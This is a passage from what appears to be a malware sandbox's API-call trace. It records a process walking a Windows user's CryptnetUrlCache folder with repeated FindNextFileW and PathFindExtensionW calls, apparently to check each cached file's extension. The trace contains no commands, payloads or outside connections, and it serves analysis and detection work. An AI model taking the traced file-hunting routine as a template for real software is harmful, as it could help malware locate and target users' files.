HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0119.194] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0119.194] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0119.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0119.194] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0119.194] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0119.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0119.194] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0119.194] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0119.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0119.194] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.194] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0119.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0119.194] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.194] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0119.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0119.194] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.194] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0119.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0119.194] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0119.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0119.194] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0119.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0119.195] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0119.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0119.195] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0119.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0119.195] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0119.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0119.195] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0119.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0119.195] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0119.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0119.195] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0119.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0119.195] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0119.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0119.195] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0119.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0119.196] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0119.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0119.196] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0119.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0119.196] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0119.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0119.197] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0119.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0119.197] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0119.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0119.197] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0119.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0119.197] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0119.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0119.197] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0119.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0119.197] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0119.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, 